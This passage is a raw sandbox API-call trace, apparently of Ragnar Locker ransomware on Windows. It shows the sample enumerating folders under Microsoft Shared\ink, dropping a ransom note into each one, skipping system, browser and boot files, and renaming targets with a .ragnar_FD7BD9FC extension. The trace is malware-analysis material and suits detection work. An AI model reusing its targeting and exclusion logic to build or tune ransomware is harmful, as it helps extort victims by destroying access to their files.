Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui" [0057.014] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui.ragnar_FD7BD9FC" [0057.014] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0057.014] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0057.014] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0057.014] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0057.014] lstrcmpiW (lpString1="pl-PL", lpString2=".") returned 1 [0057.014] lstrcmpiW (lpString1="pl-PL", lpString2="..") returned 1 [0057.014] lstrcmpiW (lpString1="pl-PL", lpString2="Windows") returned -1 [0057.014] lstrcmpiW (lpString1="pl-PL", lpString2="Windows.old") returned -1 [0057.014] lstrcmpiW (lpString1="pl-PL", lpString2="Tor browser") returned -1 [0057.014] lstrcmpiW (lpString1="pl-PL", lpString2="Internet Explorer") returned 1 [0057.014] lstrcmpiW (lpString1="pl-PL", lpString2="Google") returned 1 [0057.014] lstrcmpiW (lpString1="pl-PL", lpString2="Opera") returned 1 [0057.014] lstrcmpiW (lpString1="pl-PL", lpString2="Opera Software") returned 1 [0057.014] lstrcmpiW (lpString1="pl-PL", lpString2="Mozilla") returned 1 [0057.014] lstrcmpiW (lpString1="pl-PL", lpString2="Mozilla Firefox") returned 1 [0057.014] lstrcmpiW (lpString1="pl-PL", lpString2="$Recycle.Bin") returned 1 [0057.014] lstrcmpiW (lpString1="pl-PL", lpString2="ProgramData") returned -1 [0057.014] lstrcmpiW (lpString1="pl-PL", lpString2="All Users") returned 1 [0057.014] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0057.014] lstrcpyW (in: lpString1=0x1eb62e, lpString2="pl-PL" | out: lpString1="pl-PL") returned="pl-PL" [0057.014] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\" [0057.014] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\" [0057.014] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\RGNR_FD7BD9FC.txt" [0057.014] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0057.773] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*.*" [0057.779] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0057.860] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0057.860] lstrcpyW (in: lpString1=0x1ea74e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0057.860] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74aca1e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74aca1e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0057.880] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0057.880] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74aca1e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74aca1e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.880] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0057.881] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0057.881] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74aca1e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x74aca1e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0057.881] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0057.881] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0057.881] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0057.881] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1 [0057.881] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1 [0057.881] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0057.881] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0057.881] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74aca1e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74aca1e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0057.881] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74aca1e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74aca1e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.882] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74aca1e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x74aca1e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0057.882] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0057.882] lstrcpyW (in: lpString1=0x1eab62, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0057.882] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\RGNR_FD7BD9FC.txt") returned=".txt" [0057.882] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0057.882] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0057.882] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0057.882] lstrcpyW (in: lpString1=0x1eab62, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0057.882] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui") returned=".mui" [0057.882] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0057.882] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="autorun.inf") returned 1 [0057.882] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot.ini") returned 1 [0057.882] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootfont.bin") returned 1 [0057.882] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootsect.bak") returned 1 [0057.882] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1 [0057.882] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr.efi") returned 1 [0057.882] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgfw.efi") returned 1 [0057.883] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="desktop.ini") returned 1 [0057.883] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="iconcache.db") returned 1 [0057.883] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntldr") returned 1 [0057.883] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1 [0057.883] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat.log") returned 1 [0057.883] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.ini") returned 1 [0057.883] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="thumbs.db") returned 1 [0057.883] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0057.883] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0057.883] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0057.883] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0057.883] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0057.883] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0057.883] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0057.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui")) returned 0x20 [0058.182] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.182] CloseHandle (hObject=0xffffffff) returned 0 [0058.182] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui" [0058.182] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui.ragnar_FD7BD9FC" [0058.182] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.183] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.183] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0058.183] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0058.183] lstrcmpiW (lpString1="pt-BR", lpString2=".") returned 1 [0058.183] lstrcmpiW (lpString1="pt-BR", lpString2="..") returned 1 [0058.183] lstrcmpiW (lpString1="pt-BR", lpString2="Windows") returned -1 [0058.183] lstrcmpiW (lpString1="pt-BR", lpString2="Windows.old") returned -1 [0058.183] lstrcmpiW (lpString1="pt-BR", lpString2="Tor browser") returned -1 [0058.183] lstrcmpiW (lpString1="pt-BR", lpString2="Internet Explorer") returned 1 [0058.183] lstrcmpiW (lpString1="pt-BR", lpString2="Google") returned 1 [0058.183] lstrcmpiW (lpString1="pt-BR", lpString2="Opera") returned 1 [0058.183] lstrcmpiW (lpString1="pt-BR", lpString2="Opera Software") returned 1 [0058.183] lstrcmpiW (lpString1="pt-BR", lpString2="Mozilla") returned 1 [0058.183] lstrcmpiW (lpString1="pt-BR", lpString2="Mozilla Firefox") returned 1 [0058.183] lstrcmpiW (lpString1="pt-BR", lpString2="$Recycle.Bin") returned 1 [0058.183] lstrcmpiW (lpString1="pt-BR", lpString2="ProgramData") returned 1 [0058.183] lstrcmpiW (lpString1="pt-BR", lpString2="All Users") returned 1 [0058.183] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.183] lstrcpyW (in: lpString1=0x1eb62e, lpString2="pt-BR" | out: lpString1="pt-BR") returned="pt-BR" [0058.183] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\" [0058.183] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\" [0058.184] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\RGNR_FD7BD9FC.txt" [0058.184] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0058.203] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*.*" [0058.204] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0058.204] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0058.204] lstrcpyW (in: lpString1=0x1ea74e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0058.204] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74ef4860, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74ef4860, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0058.204] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0058.204] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74ef4860, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74ef4860, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.204] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0058.204] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0058.204] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74ef4860, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x74ef4860, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0058.204] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0058.204] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0058.204] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.205] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1 [0058.205] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1 [0058.205] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.205] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0058.205] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74ef4860, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74ef4860, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0058.205] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74ef4860, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74ef4860, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, 